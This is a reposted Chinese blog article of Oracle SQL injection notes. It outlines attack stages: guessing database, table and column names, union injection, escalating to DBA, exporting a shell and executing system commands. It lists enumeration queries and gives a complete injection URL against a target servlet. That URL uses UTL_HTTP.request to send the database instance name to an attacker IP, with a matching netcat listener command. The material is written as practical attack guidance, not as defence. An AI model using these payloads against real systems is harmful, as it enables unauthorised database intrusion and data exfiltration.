[转]黑客Un Oracle注射笔记
Oracle说明:
Oracle的注射攻击学习,可以归为:
a.基本猜解:
1. 数据库名的猜解,表名的猜解,字段的猜解,数据的猜解.等基本数据的猜解.(半折法)
2. union方式猜解
3. UTL_HTTP.request反弹数据猜解.(需能上网)
4. 其它方式的猜解,诸如把表段内容,update或insert入可以显示的字段里,诸如网页,然后读取获知.
b.高级攻击方式:
1. 数据库提权攻击,一般是利用函数漏洞,提升为DBA权限.(oracle的DBA相当于mssql的sa,为数据库的最高权限)
2. 导出shell攻击.
3. 利用数据库漏洞,执行系统指定.
c.数据库漏洞.
1. 远程溢出,本地提权等漏洞(我们只管exp)
2. 存在的配置方面的漏洞整理,诸如默认弱口令,以及得到弱口令之后,如何提权等原因.
第一部份:
===================基本信息的猜解=========================
说明:
Oracle会把一些有用的信息保存在系统表里面,诸如all_tables,所以注射时对这些表的猜解,可以获取到很多的基本信息.
获得操作系统版本:
select member from v$logfile where rownum=1
通过路径方式判断操作系统.如果出现c:,d:类的是windows,其它为*nix
查看sid:
select instance_name from v$instance
查询当前用户权限
select * from session_roles
当前数据库版本
select banner from sys.v_$version where rownum=1
服务器出口IP
用utl_http.request可以实现
服务器监听IP
select utl_inaddr.get_host_address from dual
当前连接用户
select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual
反弹方式:(本机:nc -vv -lp 8000)
http://www.target.com/servlet/bbs2005.Userdetail?sUserName=test' and UTL_HTTP.request('http://59.151.22.37:8000/'||(select instance_name from v$instance where rownum=1))=1--
==================基本信息的猜===========================
基本信息的猜解主要是方便后期的注射攻击.
http://hi.baidu.com/isbx/blog/item/35ff728da0f97d15b21bbaf6.html
- ·翻墙软件组合:FireF..
- ·狗日的us-hacker@ho..
- ·JS/Exploit-DialogA..
- ·QQ输入状态漏洞,让..
- ·关于adodb.stream的..
- ·DDoS攻击使用的常用..
- ·晓风内核 彩票整站平..
- ·如何在 Internet Ex..
- flash/flex/fcs/AIR(752)
- Asp.Net/C#/WCF(598)
- 操作系统及应用软件(376)
- JavaScript/Ajax(330)
- SQL及数据库(134)
- 黑客技术(115)
- Asp/VBScript(111)
- HTML/WML/CSS兼容/XML(102)
- PHP/apache/Perl(96)
- 网站排名及优化(96)
- 其他(75)
- showbo日志(66)
- lucene.net/分词技术(33)
- 计算机网络(26)
- 机械重工(26)
- C#设计模式(25)
- Google Maps开发(17)
- 日语学习(15)
- Canvas/VML/SVG(13)
- linux(11)
- 游戏开发(8)
- 正则表达式(5)
- Jsp/Java(4)
- ·ad.zom123.net弹窗木..
- ·如何截获浏览器密码..
- ·破解查看IE浏览器保..
- ·Ewebeditor漏洞整理..
- ·获取最新穿墙软件的..
- ·翻墙工具下载地址
- ·图解软件破解详细步..
- ·软件破解步骤
